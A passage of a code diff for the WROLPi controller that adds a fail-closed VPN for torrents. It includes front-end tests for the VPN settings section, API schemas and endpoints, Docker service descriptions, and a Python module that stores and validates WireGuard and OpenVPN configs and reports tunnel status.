test('shows the address peers see while connected', async () => {
getVpnSettings.mockResolvedValue({...wireguard, enabled: true, port_forwarding: 'fixed', forwarded_port: 51413});
getVpnStatus.mockResolvedValue({
enabled: true, state: 'connected', public_ip: '203.0.113.99', forwarded_port: 51413, warnings: []});
renderSection();
const status = await screen.findByTestId('vpn-status');
await waitFor(() => expect(status).toHaveTextContent('Connected'));
expect(status).toHaveTextContent('Peers see 203.0.113.99');
expect(status).toHaveTextContent('Port 51413');
expect(screen.getByText(/WireGuard/)).toBeInTheDocument();
expect(screen.getByLabelText('Turn on the VPN')).toBeChecked();
});
test('a link to /admin/controller#vpn lands on this section', async () => {
const scrolled = [];
window.HTMLElement.prototype.scrollIntoView = function () {
scrolled.push(this);
};
try {
renderSection('/admin/controller#vpn');
await screen.findByText('Upload VPN Config');
expect(document.getElementById('vpn')).toBeInTheDocument();
await waitFor(() => expect(scrolled.some(element => element.id === 'vpn')).toBe(true));
} finally {
delete window.HTMLElement.prototype.scrollIntoView;
}
});
test('not scrolled to without the link', async () => {
const scrollIntoView = jest.fn();
window.HTMLElement.prototype.scrollIntoView = scrollIntoView;
try {
renderSection();
await screen.findByText('Upload VPN Config');
expect(scrollIntoView).not.toHaveBeenCalled();
} finally {
delete window.HTMLElement.prototype.scrollIntoView;
}
});
test('says the VPN is off for WROL Mode', async () => {
getVpnSettings.mockResolvedValue({...wireguard, enabled: true});
getVpnStatus.mockResolvedValue({...stopped, enabled: true, state: 'wrol_mode',
error: 'WROL Mode is on, so the VPN (and torrents) are off'});
renderSection();
const status = await screen.findByTestId('vpn-status');
await waitFor(() => expect(status).toHaveTextContent('Off (WROL Mode)'));
expect(screen.getByText(/WROL Mode is on/)).toBeInTheDocument();
});
test('shows why the tunnel is down', async () => {
getVpnStatus.mockResolvedValue({...stopped, state: 'error', error: 'wg setconf failed: Invalid key'});
renderSection();
expect(await screen.findByText('wg setconf failed: Invalid key')).toBeInTheDocument();
});
test('uploads the chosen config file', async () => {
uploadVpnConfig.mockResolvedValue(wireguard);
renderSection();
await screen.findByText('Upload VPN Config');
const file = new File(['[Interface]\n'], 'proton.conf', {type: 'text/plain'});
file.text = () => Promise.resolve('[Interface]\n');
fireEvent.change(screen.getByTestId('vpn-config-file'), {target: {files: [file]}});
await waitFor(() => expect(uploadVpnConfig).toHaveBeenCalledWith('proton.conf', '[Interface]\n'));
expect(await screen.findByText('Replace VPN Config')).toBeInTheDocument();
});
test('a refused upload is shown to the user', async () => {
uploadVpnConfig.mockRejectedValue(new Error('The WireGuard config has no PrivateKey'));
renderSection();
await screen.findByText('Upload VPN Config');
const file = new File(['x'], 'bad.conf');
file.text = () => Promise.resolve('x');
fireEvent.change(screen.getByTestId('vpn-config-file'), {target: {files: [file]}});
await waitFor(() => expect(toast).toHaveBeenCalledWith(
expect.objectContaining({type: 'error', description: 'The WireGuard config has no PrivateKey'})));
});
test('an OpenVPN config asks for the login, which is cleared once saved', async () => {
getVpnSettings.mockResolvedValue(openvpn);
saveVpnAuth.mockResolvedValue({...openvpn, has_auth: true});
renderSection();
const username = await screen.findByLabelText('VPN Username');
fireEvent.change(username, {target: {value: 'user'}});
fireEvent.change(screen.getByLabelText('VPN Password'), {target: {value: 'secret'}});
fireEvent.click(screen.getByText('Save Login'));
await waitFor(() => expect(saveVpnAuth).toHaveBeenCalledWith('user', 'secret'));
await waitFor(() => expect(username).toHaveValue(''));
expect(await screen.findByText(/\(saved\)/)).toBeInTheDocument();
});
test('a fixed forwarded port is sent with the settings', async () => {
getVpnSettings.mockResolvedValue({...wireguard, port_forwarding: 'fixed', forwarded_port: 51413});
updateVpnSettings.mockResolvedValue({...wireguard, port_forwarding: 'fixed', forwarded_port: 51414});
renderSection();
const port = await screen.findByLabelText('Forwarded port');
expect(port).toHaveValue('51413');
fireEvent.change(port, {target: {value: '51414'}});
fireEvent.click(screen.getByText('Save'));
await waitFor(() => expect(updateVpnSettings).toHaveBeenCalledWith(
{port_forwarding: 'fixed', forwarded_port: 51414}));
});
test('NAT-PMP asks for no port, and shows the one the VPN forwards', async () => {
getVpnSettings.mockResolvedValue({...wireguard, enabled: true, port_forwarding: 'natpmp'});
getVpnStatus.mockResolvedValue({
enabled: true, state: 'connected', public_ip: '203.0.113.99', forwarded_port: 51413, warnings: []});
updateVpnSettings.mockResolvedValue({...wireguard, enabled: true, port_forwarding: 'natpmp'});
renderSection();
const status = await screen.findByTestId('vpn-status');
await waitFor(() => expect(status).toHaveTextContent('Port 51413'));
expect(screen.queryByLabelText('Forwarded port')).not.toBeInTheDocument();
fireEvent.click(screen.getByText('Save'));
await waitFor(() => expect(updateVpnSettings).toHaveBeenCalledWith(
{port_forwarding: 'natpmp', forwarded_port: null}));
});
test('a VPN which will not forward a port says why', async () => {
getVpnSettings.mockResolvedValue({...wireguard, enabled: true, port_forwarding: 'natpmp'});
getVpnStatus.mockResolvedValue({enabled: true, state: 'connected', public_ip: '203.0.113.99',
forwarded_port: null, warnings: ['The VPN (10.2.0.1) did not answer a port forwarding request.']});
renderSection();
expect(await screen.findByText(/did not answer a port forwarding request/)).toBeInTheDocument();
});
test('turning the VPN on', async () => {
getVpnSettings.mockResolvedValue(wireguard);
updateVpnSettings.mockResolvedValue({...wireguard, enabled: true});
renderSection();
const toggle = await screen.findByLabelText('Turn on the VPN');
await waitFor(() => expect(toggle).toBeEnabled());
fireEvent.click(toggle);
await waitFor(() => expect(updateVpnSettings).toHaveBeenCalledWith({enabled: true}));
await waitFor(() => expect(toggle).toBeChecked());
});
test('settings cannot be saved before they load', async () => {
let resolveSettings;
getVpnSettings.mockReturnValue(new Promise(resolve => resolveSettings = resolve));
renderSection();
// The "none" placeholder must never overwrite a saved mode.
expect(await screen.findByRole('button', {name: 'Save'})).toBeDisabled();
expect(screen.getByRole('textbox', {name: 'Port forwarding'})).toBeDisabled();
resolveSettings({...wireguard, port_forwarding: 'natpmp'});
await waitFor(() => expect(screen.getByRole('button', {name: 'Save'})).toBeEnabled());
});
test('settings which fail to load say so, and cannot be saved', async () => {
getVpnSettings.mockRejectedValue(new Error('The Controller is not running'));
renderSection();
expect(await screen.findByText(/Could not load the VPN settings/)).toBeInTheDocument();
expect(screen.getByText(/The Controller is not running/)).toBeInTheDocument();
expect(screen.getByRole('button', {name: 'Save'})).toBeDisabled();
expect(screen.getByRole('button', {name: 'Upload VPN Config'})).toBeDisabled();
});
test('the selected port forwarding mode cannot be deselected', async () => {
getVpnSettings.mockResolvedValue({...wireguard, port_forwarding: 'fixed', forwarded_port: 51413});
renderSection();
await screen.findByLabelText('Forwarded port');
const scrollIntoView = Element.prototype.scrollIntoView;
Element.prototype.scrollIntoView = () => null;
try {
fireEvent.click(screen.getByRole('textbox', {name: 'Port forwarding'}));
const options = await screen.findAllByRole('option', {hidden: true});
fireEvent.click(options.find(o => /forwards to me/.test(o.textContent)));
} finally {
Element.prototype.scrollIntoView = scrollIntoView;
}
expect(screen.getByLabelText('Forwarded port')).toBeInTheDocument();
});
test('replacing the config asks first', async () => {
getVpnSettings.mockResolvedValue(wireguard);
uploadVpnConfig.mockResolvedValue(wireguard);
renderSection();
await screen.findByText('Replace VPN Config');
const file = new File(['[Interface]\n'], 'other.conf');
file.text = () => Promise.resolve('[Interface]\n');
fireEvent.change(screen.getByTestId('vpn-config-file'), {target: {files: [file]}});
const dialog = await screen.findByRole('dialog');
expect(dialog).toHaveTextContent('other.conf');
expect(uploadVpnConfig).not.toHaveBeenCalled();
fireEvent.click(within(dialog).getByText('Replace'));
await waitFor(() => expect(uploadVpnConfig).toHaveBeenCalledWith('other.conf', '[Interface]\n'));
});
test('turning the VPN off asks first', async () => {
getVpnSettings.mockResolvedValue({...wireguard, enabled: true});
updateVpnSettings.mockResolvedValue(wireguard);
renderSection();
const toggle = await screen.findByLabelText('Turn on the VPN');
await waitFor(() => expect(toggle).toBeChecked());
fireEvent.click(toggle);
const dialog = await screen.findByRole('dialog');
expect(dialog).toHaveTextContent('Torrents stop');
expect(updateVpnSettings).not.toHaveBeenCalled();
fireEvent.click(within(dialog).getByText('Turn Off'));
await waitFor(() => expect(updateVpnSettings).toHaveBeenCalledWith({enabled: false}));
});
test('an older status response does not replace a newer one', async () => {
jest.useFakeTimers();
try {
const resolvers = [];
getVpnStatus.mockImplementation(() => new Promise(resolve => resolvers.push(resolve)));
renderSection();
await waitFor(() => expect(resolvers.length).toBe(1));
jest.advanceTimersByTime(10000);
await waitFor(() => expect(resolvers.length).toBe(2));
// The newer poll answers first, then the older one.
resolvers[1]({...stopped, state: 'connected', public_ip: '203.0.113.99'});
await waitFor(() => expect(screen.getByTestId('vpn-status')).toHaveTextContent('Connected'));
await act(async () => {
resolvers[0]({...stopped, state: 'error'});
});
expect(screen.getByTestId('vpn-status')).toHaveTextContent('Connected');
} finally {
jest.useRealTimers();
}
});
test('removing the config asks first', async () => {
getVpnSettings.mockResolvedValue(wireguard);
deleteVpnConfig.mockResolvedValue(noConfig);
renderSection();
fireEvent.click(await screen.findByText('Remove'));
expect(deleteVpnConfig).not.toHaveBeenCalled();
// The Confirm modal is portaled; scope the query to the dialog.
const dialog = await screen.findByRole('dialog');
expect(dialog).toHaveTextContent('Torrents will stop');
fireEvent.click(within(dialog).getByText('Remove'));
await waitFor(() => expect(deleteVpnConfig).toHaveBeenCalled());
});
});

View file

@ -49,6 +49,7 @@ const iconNameAliases: Record<string, keyof typeof Tabler> = {
'chevron left': 'IconChevronLeft',
'chevron right': 'IconChevronRight',
'chrome': 'IconBrandChrome',
'clock': 'IconClock',
'circle': 'IconCircle',
'circle notch': 'IconLoader2',
'circle notched': 'IconLoader2',
@ -112,11 +113,13 @@ const iconNameAliases: Record<string, keyof typeof Tabler> = {
'list': 'IconList',
'lock': 'IconLock',
'mail': 'IconMail',
'magnet': 'IconMagnet',
'map outline': 'IconMap',
'microchip': 'IconCpu',
'minus': 'IconMinus',
'moon': 'IconMoon',
'moon outline': 'IconMoon',
'pause': 'IconPlayerPause',
'paypal': 'IconBrandPaypal',
'play': 'IconPlayerPlay',
'plug': 'IconPlug',

View file

@ -176,6 +176,7 @@ export const statusFixture = (overrides = {}) => ({
backup: backupStatusFixture(),
version: '1.0.0',
wrol_mode: false,
torrents: {count: 0, vpn_state: null, running: false},
// Upgrade info, seeded by the API and refreshed by its upgrade check.
commits_behind: 0,
current_commit: null,

View file

@ -570,3 +570,66 @@ class OnboardingCommitResponse(BaseModel):
default=None,
description="Populated when needs_force='shadowed'.",
)
# ============================================================================
# VPN
# ============================================================================
class VpnStatusResponse(BaseModel):
"""The tunnel which torrents use."""
enabled: bool = Field(description="Whether the VPN is turned on in controller.yaml")
state: Optional[str] = Field(
default=None,
description="stopped, disabled, wrol_mode, waiting, connecting, connected, or error. Torrents can only reach the "
"Internet while connected.")
kind: Optional[str] = Field(default=None, description="wireguard or openvpn")
interface: Optional[str] = Field(default=None, description="The tunnel's network interface")
addresses: list[str] = Field(default_factory=list, description="The tunnel's addresses")
dns: list[str] = Field(default_factory=list, description="The VPN's DNS servers")
public_ip: Optional[str] = Field(default=None, description="The address peers see")
port_forwarding: str = Field(description="none, fixed, or natpmp")
forwarded_port: Optional[int] = Field(default=None, description="The port peers can connect to")
warnings: list[str] = Field(default_factory=list, description="Problems which do not stop the tunnel")
error: Optional[str] = Field(default=None, description="Why the tunnel is not up")
updated_at: Optional[float] = Field(default=None, description="When the tunnel last reported (Unix time)")
class VpnSettingsResponse(BaseModel):
"""The VPN settings and a summary of the uploaded config."""
enabled: bool = Field(description="Whether the VPN is turned on")
kind: Optional[str] = Field(default=None, description="wireguard or openvpn; None when no config is uploaded")
servers: list[str] = Field(default_factory=list, description="The VPN servers named by the config")
needs_auth: bool = Field(description="Whether the OpenVPN config needs a username and password")
has_auth: bool = Field(description="Whether an OpenVPN username and password are saved")
port_forwarding: str = Field(description="none, fixed, or natpmp")
forwarded_port: Optional[int] = Field(default=None, description="The port the provider forwards (fixed)")
public_ip_url: Optional[str] = Field(default=None, description="Fetched through the tunnel to show its address")
natpmp_gateway: Optional[str] = Field(
default=None, description="Where NAT-PMP asks for a port; None: the VPN's gateway or first DNS server")
class VpnSettingsRequest(BaseModel):
"""Change VPN settings; omitted fields are unchanged."""
enabled: Optional[bool] = Field(default=None, description="Turn the VPN on or off")
port_forwarding: Optional[str] = Field(default=None, description="none, fixed, or natpmp")
forwarded_port: Optional[int] = Field(default=None, description="The port the provider forwards (fixed)")
public_ip_url: Optional[str] = Field(default=None, description="Empty to stop checking the public address")
natpmp_gateway: Optional[str] = Field(default=None, description="An IPv4 address; empty for the default")
class VpnConfigUploadRequest(BaseModel):
"""A VPN config file's name and contents."""
filename: str = Field(description="Ends in .conf (WireGuard) or .ovpn (OpenVPN)")
content: str = Field(description="The file's contents")
class VpnAuthRequest(BaseModel):
"""The login an OpenVPN config asks for (auth-user-pass)."""
username: str = Field(description="VPN username")
password: str = Field(description="VPN password")

63
controller/api/vpn.py Normal file
View file

@ -0,0 +1,63 @@
"""
VPN API endpoints for WROLPi Controller. Torrents only reach the Internet through this VPN.
"""
import asyncio
from fastapi import APIRouter, HTTPException
from controller.api.schemas import (
VpnAuthRequest,
VpnConfigUploadRequest,
VpnSettingsRequest,
VpnSettingsResponse,
VpnStatusResponse,
)
from controller.lib import vpn
from controller.vpn.tunnel import VPNConfigError
router = APIRouter(tags=["vpn"])
async def _call(func, *args, **kwargs):
"""Run a settings change off the event loop (saving looks up the VPN servers), as a 400 when it is refused."""
try:
return await asyncio.to_thread(func, *args, **kwargs)
except VPNConfigError as e:
raise HTTPException(status_code=400, detail=str(e))
except RuntimeError as e:
# e.g. the primary drive is not mounted, so controller.yaml cannot be saved.
raise HTTPException(status_code=409, detail=str(e))
@router.get("/api/vpn/status", response_model=VpnStatusResponse)
async def vpn_status() -> VpnStatusResponse:
"""Whether torrents can reach the Internet, and the address peers see."""
return VpnStatusResponse(**vpn.get_vpn_status())
@router.get("/api/vpn/settings", response_model=VpnSettingsResponse)
async def vpn_settings() -> VpnSettingsResponse:
return VpnSettingsResponse(**vpn.get_vpn_settings_response())
@router.post("/api/vpn/settings", response_model=VpnSettingsResponse)
async def update_vpn_settings(request: VpnSettingsRequest) -> VpnSettingsResponse:
return VpnSettingsResponse(**await _call(vpn.update_vpn_settings, **request.model_dump()))
@router.post("/api/vpn/config", response_model=VpnSettingsResponse)
async def upload_vpn_config(request: VpnConfigUploadRequest) -> VpnSettingsResponse:
"""Store a WireGuard .conf or OpenVPN .ovpn, replacing the previous config."""
return VpnSettingsResponse(**await _call(vpn.save_vpn_config, request.filename, request.content))
@router.delete("/api/vpn/config", response_model=VpnSettingsResponse)
async def delete_vpn_config() -> VpnSettingsResponse:
"""Forget the VPN config and login, and turn the VPN off."""
return VpnSettingsResponse(**await _call(vpn.delete_vpn_config))
@router.post("/api/vpn/auth", response_model=VpnSettingsResponse)
async def save_vpn_auth(request: VpnAuthRequest) -> VpnSettingsResponse:
return VpnSettingsResponse(**await _call(vpn.save_openvpn_auth, request.username, request.password))

View file

@ -77,6 +77,13 @@ def _isolate_hotspot_boot_marker(tmp_path_factory, monkeypatch):
monkeypatch.setattr(admin, "HOTSPOT_BOOT_MARKER", marker)
@pytest.fixture(autouse=True)
def _isolate_vpn_run_dir(tmp_path_factory, monkeypatch):
"""Tests never read or write the real VPN status or server addresses in /run."""
import controller.vpn.tunnel as tunnel
monkeypatch.setattr(tunnel, "RUN_DIR", tmp_path_factory.mktemp("wrolpi-vpn"))
@pytest.fixture(autouse=True)
def _patch_status_worker():
"""Replace the real status worker with a no-op for every test.
@ -87,6 +94,18 @@ def _patch_status_worker():
yield
async def _noop_rsync_daemon_loop():
await asyncio.Event().wait()
@pytest.fixture(autouse=True)
def _patch_rsync_daemon_loop():
"""A Docker-mode app must not manage the real rsync helper container of whatever Docker runs these tests: a
branch whose rsyncd.conf differs would replace a developer's container, while other tests list containers."""
with mock.patch("controller.main.rsync_daemon_loop", _noop_rsync_daemon_loop):
yield
@pytest.fixture
def test_directory() -> Generator[Path, None, None]:
"""Create a temporary directory for testing."""

View file

@ -5,6 +5,8 @@ Controller starts with these defaults and loads overrides from
/media/wrolpi/config/controller.yaml after the drive is mounted.
"""
from controller.vpn.tunnel import VPN_DEFAULTS
DEFAULT_CONFIG = {
"port": 80,
"media_directory": "/media/wrolpi",
@ -89,6 +91,22 @@ DEFAULT_CONFIG = {
"use_https": False,
"description": "Map tiles for ATAK and iTAK",
},
{
"name": "wrolpi-vpn",
"systemd_name": "wrolpi-vpn",
"port": None,
"viewable": False,
"use_https": False,
"description": "VPN for torrents (fail-closed network namespace)",
},
{
"name": "wrolpi-torrent",
"systemd_name": "wrolpi-torrent",
"port": 8091,
"viewable": True,
"use_https": True,
"description": "Torrents (qBittorrent, inside the VPN)",
},
{
"name": "wrolpi-rsyncd",
"systemd_name": "wrolpi-rsyncd",
@ -147,6 +165,9 @@ DEFAULT_CONFIG = {
"on_startup": True,
},
# Torrents reach the Internet only through this VPN; see controller/vpn/tunnel.py.
"vpn": dict(VPN_DEFAULTS),
"throttle": {
"default_governor": "ondemand",
},

View file

@ -32,6 +32,54 @@ NON_VIEWABLE_CONTAINERS = {"redis", "memcached", "samba", "rsyncd", "tiles"}
# Containers that should use HTTPS
HTTPS_CONTAINERS = {"web"}
# What each docker-compose service is, for the Services list (systemd services have theirs in defaults.py).
# `via_web`: the container publishes no port of its own; the web container (Caddy) serves it over HTTPS on this
# container port (plain HTTP if `use_https` is False), so its View link uses the host port Docker publishes for that
# port of the web container.
DOCKER_SERVICES = {
"api": {"description": "Python API (Sanic)"},
"app": {"description": "React frontend", "via_web": 443},
"archive": {"description": "Archiving (SingleFile and Readability)", "viewable": False},
"controller": {"description": "Controller API (FastAPI)"},
"help": {"description": "Help documentation", "via_web": 8086},
"rsyncd": {"description": "Library for secondary WROLPis (rsync)"},
"samba": {"description": "Samba file sharing"},
# Tiles for ATAK and iTAK, which ask for them; no page to view.
"tiles": {"description": "Map tiles for ATAK and iTAK", "via_web": 8088, "use_https": False, "viewable": False},
"vpn": {"description": "VPN and torrents (qBittorrent WebUI)", "via_web": 8091},
"web": {"description": "HTTPS proxy (Caddy) for the app, maps, Zims, help and torrents", "via_web": 443},
"zim": {"description": "Kiwix/Zim server", "via_web": 8085},
}
WEB_SERVICE = "web"
def _host_port(container, container_port: int = None):
"""The host port Docker publishes for `container_port` of `container` (any published port, if None)."""
if container is None:
return None
ports = container.attrs.get("NetworkSettings", {}).get("Ports", {}) or {}
for port, host_bindings in ports.items():
if host_bindings and (container_port is None or port == f"{container_port}/tcp"):
return int(host_bindings[0].get("HostPort", 0))
return None
def _describe(name: str, container, web_container) -> dict:
"""A container's description, the port its View link uses, and how."""
service = DOCKER_SERVICES.get(name, {})
if "via_web" in service:
port = _host_port(web_container, service["via_web"])
use_https = service.get("use_https", True)
else:
port = _host_port(container)
use_https = name.endswith("_https") or name in HTTPS_CONTAINERS
return {
"description": service.get("description", ""),
"port": port,
"viewable": service.get("viewable", name not in NON_VIEWABLE_CONTAINERS),
"use_https": use_https,
}
def can_manage_containers() -> bool:
"""Check if we can manage Docker containers."""
@ -91,23 +139,20 @@ def get_container_status(name: str) -> dict:
else:
status = docker_status
# Get port info from container
ports = container.attrs.get("NetworkSettings", {}).get("Ports", {})
port = None
for container_port, host_bindings in ports.items():
if host_bindings:
port = int(host_bindings[0].get("HostPort", 0))
break
web_container = container
if name != WEB_SERVICE and "via_web" in DOCKER_SERVICES.get(name, {}):
try:
web_container = client.containers.get(_get_container_name(WEB_SERVICE))
except NotFound:
web_container = None
return {
"name": name,
"container_name": container_name,
"status": status,
"docker_status": docker_status,
"port": port,
"available": True,
"viewable": name not in NON_VIEWABLE_CONTAINERS,
"use_https": name.endswith("_https") or name in HTTPS_CONTAINERS,
**_describe(name, container, web_container),
}
except NotFound:
return {
@ -138,6 +183,7 @@ def get_all_containers_status() -> list[dict]:
client = _get_client()
containers = client.containers.list(all=True)
web_container = next((c for c in containers if c.name == _get_container_name(WEB_SERVICE)), None)
results = []
for container in containers:
if container.name.startswith(CONTAINER_PREFIX):
@ -148,22 +194,12 @@ def get_all_containers_status() -> list[dict]:
else:
service_name = container.name
# Get port info from container
ports = container.attrs.get("NetworkSettings", {}).get("Ports", {})
port = None
for container_port, host_bindings in ports.items():
if host_bindings:
port = int(host_bindings[0].get("HostPort", 0))
break
results.append({
"name": service_name,
"container_name": container.name,
"status": "running" if container.status == "running" else "stopped",
"docker_status": container.status,
"port": port,
"viewable": service_name not in NON_VIEWABLE_CONTAINERS,
"use_https": service_name.endswith("_https") or service_name in HTTPS_CONTAINERS,
**_describe(service_name, container, web_container),
})
return results

View file

@ -83,7 +83,9 @@ LOCAL_PATHS = (
# This machine's settings and state.
"/config/wrolpi.yaml", "/config/sync.yaml", "/config/controller.yaml", "/config/fstab.yaml",
"/config/.fstab-migrated", "/config/smb.conf", f"/{STATE_FILE}", "/config/.wrol_mode", "/config/ssl",
"/config/cookies.txt", "/config/cookies.txt.enc", "/config/backup",
"/config/cookies.txt", "/config/cookies.txt.enc", "/config/backup", "/config/vpn",
# This machine's torrents.
"/config/torrents",
# The database arrives as a snapshot, in its own step.
"/config/wrolpi.db", "/config/wrolpi.db-wal", "/config/wrolpi.db-shm", "/config/wrolpi.db.lock",
f"/{SYNC_DIRECTORY}",
@ -94,7 +96,7 @@ LOCAL_PATHS = (
# path is never deleted, so a secondary kept the write-ahead log of a map search database whose database the
# primary had replaced, and SQLite would apply that log to the new database. (rsync keeps its own partial
# directory itself.)
UNFINISHED_PATTERNS = (".partial", "*.part", "*.aria2", "*.ytdl", "*.db-wal", "*.db-shm")
UNFINISHED_PATTERNS = (".partial", "*.part", "*.aria2", "*.ytdl", "*.!qB", "*.db-wal", "*.db-shm")
class SyncError(Exception):

252
controller/lib/vpn.py Normal file
View file

@ -0,0 +1,252 @@
"""
VPN settings and status for the Controller.
The tunnel itself (controller/vpn/tunnel.py) runs in the `wrolpi-vpn` service (Raspberry Pi / Debian) or the `vpn`
container (Docker); it follows the `vpn` section of controller.yaml on its own. The Controller saves the settings and
the user's VPN config, resolves the config's server names (the tunnel's kill switch blocks DNS until the tunnel is
up), and reports the status the tunnel writes.
"""
import asyncio
import json
import logging
import os
import socket
import time
from pathlib import Path
from controller.lib.config import get_config_value, get_media_directory, save_config, update_config
from controller.vpn import tunnel
logger = logging.getLogger(__name__)
# Relative to the config directory.
WIREGUARD_CONFIG = 'vpn/wireguard.conf'
OPENVPN_CONFIG = 'vpn/openvpn.ovpn'
OPENVPN_AUTH = 'vpn/openvpn-auth.txt'
CONFIG_FILES = {'wireguard': WIREGUARD_CONFIG, 'openvpn': OPENVPN_CONFIG}
MAX_CONFIG_BYTES = 256 * 1024
# The tunnel writes its status every 15 seconds; older than this, it is not running.
STALE_STATUS_SECONDS = 60
# Provider host names rarely move; look them up again this often in case they do.
ENDPOINTS_MAX_AGE = 6 * 60 * 60
ENDPOINTS_LOOP_SECONDS = 60
def get_run_dir() -> Path:
return tunnel.RUN_DIR
def get_config_directory() -> Path:
return get_media_directory() / 'config'
def get_vpn_settings() -> dict:
return {**tunnel.VPN_DEFAULTS, **(get_config_value('vpn') or {})}
def _write_private(path: Path, text: str):
path.parent.mkdir(mode=0o700, parents=True, exist_ok=True)
tmp = path.with_name(f'.{path.name}.tmp')
tunnel.write_private(tmp, text)
os.replace(tmp, path)
def read_vpn_config() -> tuple[str, str] | None:
"""(kind, text) of the uploaded VPN config, or None."""
config_file = get_vpn_settings().get('config_file')
if not config_file:
return None
try:
text = (get_config_directory() / config_file).read_text()
except FileNotFoundError:
return None
return tunnel.config_kind(config_file), text
def _save_settings(**values):
for key, value in values.items():
update_config(f'vpn.{key}', value)
save_config()
def save_vpn_config(filename: str, content: str) -> dict:
"""Validate and store an uploaded WireGuard or OpenVPN config, replacing any previous one."""
if len(content.encode()) > MAX_CONFIG_BYTES:
raise tunnel.VPNConfigError('That file is too large to be a VPN config')
kind = tunnel.config_kind(filename)
tunnel.remotes_of(kind, content) # Raises when the config cannot be used.
config_directory = get_config_directory()
_write_private(config_directory / CONFIG_FILES[kind], content)
for other_kind, other in CONFIG_FILES.items():
if other_kind != kind:
(config_directory / other).unlink(missing_ok=True)
_save_settings(config_file=CONFIG_FILES[kind])
resolve_endpoints_safely()
return get_vpn_settings_response()
def save_openvpn_auth(username: str, password: str) -> dict:
if not username or not password:
raise tunnel.VPNConfigError('Enter the VPN username and password')
if any(c in s for s in (username, password) for c in '\r\n'):
raise tunnel.VPNConfigError('The VPN username and password cannot contain line breaks')
_write_private(get_config_directory() / OPENVPN_AUTH, f'{username}\n{password}\n')
_save_settings(auth_file=OPENVPN_AUTH)
return get_vpn_settings_response()
def update_vpn_settings(enabled: bool = None, port_forwarding: str = None, forwarded_port: int = None,
public_ip_url: str = None, natpmp_gateway: str = None) -> dict:
settings = get_vpn_settings()
values = {}
if port_forwarding is not None:
if port_forwarding not in tunnel.PORT_FORWARDING_MODES:
raise tunnel.VPNConfigError(f'Port forwarding must be one of {", ".join(tunnel.PORT_FORWARDING_MODES)}')
values['port_forwarding'] = port_forwarding
if forwarded_port is not None:
if not 1 <= forwarded_port <= 65535:
raise tunnel.VPNConfigError('The forwarded port must be between 1 and 65535')
values['forwarded_port'] = forwarded_port
if (values.get('port_forwarding', settings['port_forwarding']) == 'fixed'
and not values.get('forwarded_port', settings['forwarded_port'])):
raise tunnel.VPNConfigError('Enter the port your VPN provider forwards to you')
if natpmp_gateway is not None:
if natpmp_gateway and not (tunnel.is_ip(natpmp_gateway) and tunnel.ip_version(natpmp_gateway) == 4):
raise tunnel.VPNConfigError('The port forwarding gateway must be an IPv4 address')
values['natpmp_gateway'] = natpmp_gateway or None
if public_ip_url is not None:
if public_ip_url:
tunnel.check_public_ip_url(public_ip_url)
values['public_ip_url'] = public_ip_url or None
if enabled is not None:
if enabled:
loaded = read_vpn_config()
if not loaded:
raise tunnel.VPNConfigError('Upload a VPN config before turning the VPN on')
kind, text = loaded
if (kind == 'openvpn' and tunnel.parse_openvpn(text).wants_auth
and not (get_config_directory() / OPENVPN_AUTH).is_file()):
raise tunnel.VPNConfigError('This OpenVPN config needs a username and password')
values['enabled'] = enabled
_save_settings(**values)
resolve_endpoints_safely()
return get_vpn_settings_response()
def delete_vpn_config() -> dict:
"""Forget the VPN config and login, and turn the VPN off."""
config_directory = get_config_directory()
for path in (*CONFIG_FILES.values(), OPENVPN_AUTH):
(config_directory / path).unlink(missing_ok=True)
_save_settings(enabled=False, config_file=None, auth_file=None)
(get_run_dir() / tunnel.ENDPOINTS_FILE).unlink(missing_ok=True)
return get_vpn_settings_response()
def get_vpn_settings_response() -> dict:
settings = get_vpn_settings()
loaded = read_vpn_config()
kind, remotes, wants_auth = None, [], False
if loaded:
kind, text = loaded
try:
remotes = [r.host for r in tunnel.remotes_of(kind, text)]
wants_auth = kind == 'openvpn' and tunnel.parse_openvpn(text).wants_auth
except tunnel.VPNConfigError:
pass
return {
'enabled': bool(settings['enabled']),
'kind': kind,
'servers': list(dict.fromkeys(remotes)),
'needs_auth': wants_auth,
'has_auth': (get_config_directory() / OPENVPN_AUTH).is_file(),
'port_forwarding': settings['port_forwarding'],
'forwarded_port': settings['forwarded_port'],
'public_ip_url': settings['public_ip_url'],
'natpmp_gateway': settings['natpmp_gateway'],
}
def resolve_endpoints() -> dict[str, list[str]]:
"""Look up the config's server names for the tunnel, which cannot use DNS until it is up."""
run_dir = get_run_dir()
loaded = read_vpn_config()
if not loaded:
(run_dir / tunnel.ENDPOINTS_FILE).unlink(missing_ok=True)
return {}
kind, text = loaded
names = dict.fromkeys(r.host for r in tunnel.remotes_of(kind, text) if not tunnel.is_ip(r.host))
hosts = {}
for name in names:
try:
hosts[name] = tunnel.resolve_host(name)
except socket.gaierror as e:
logger.warning('Could not look up the VPN server %s: %s', name, e)
tunnel.write_json(run_dir / tunnel.ENDPOINTS_FILE,
{'config_sha256': tunnel.config_sha256(text), 'hosts': hosts, 'resolved_at': time.time()})
return hosts
def resolve_endpoints_safely():
try:
resolve_endpoints()
except (OSError, tunnel.VPNConfigError) as e:
logger.warning('Could not look up the VPN servers: %s', e)
def endpoints_need_resolving() -> bool:
if not get_vpn_settings()['enabled']:
return False
loaded = read_vpn_config()
if not loaded:
return False
_, text = loaded
try:
data = json.loads((get_run_dir() / tunnel.ENDPOINTS_FILE).read_text())
except (FileNotFoundError, json.JSONDecodeError):
return True
names = {r.host for r in tunnel.remotes_of(*loaded) if not tunnel.is_ip(r.host)}
return (data.get('config_sha256') != tunnel.config_sha256(text)
or not names.issubset(data.get('hosts') or {})
or time.time() - data.get('resolved_at', 0) > ENDPOINTS_MAX_AGE)
async def vpn_endpoints_loop():
"""Keep the tunnel's server addresses current, e.g. when the Internet was down at boot."""
while True:
try:
if await asyncio.to_thread(endpoints_need_resolving):
await asyncio.to_thread(resolve_endpoints)
except asyncio.CancelledError:
raise
except Exception as e:
logger.warning('Could not look up the VPN servers: %s', e)
await asyncio.sleep(ENDPOINTS_LOOP_SECONDS)
def get_vpn_status() -> dict:
settings = get_vpn_settings()
try:
status = json.loads((get_run_dir() / tunnel.STATUS_FILE).read_text())
except (FileNotFoundError, json.JSONDecodeError):
status = {}
if not status or time.time() - status.get('updated_at', 0) > STALE_STATUS_SECONDS:
# The tunnel is not running; its kill switch (if it ever ran) still blocks torrents.
status = {'state': 'stopped'}
return {
'enabled': bool(settings['enabled']),
'state': status.get('state'),
'kind': status.get('kind'),
'interface': status.get('interface'),
'addresses': status.get('addresses') or [],
'dns': status.get('dns') or [],
'public_ip': status.get('public_ip'),
'port_forwarding': settings['port_forwarding'],
'forwarded_port': status.get('forwarded_port'),
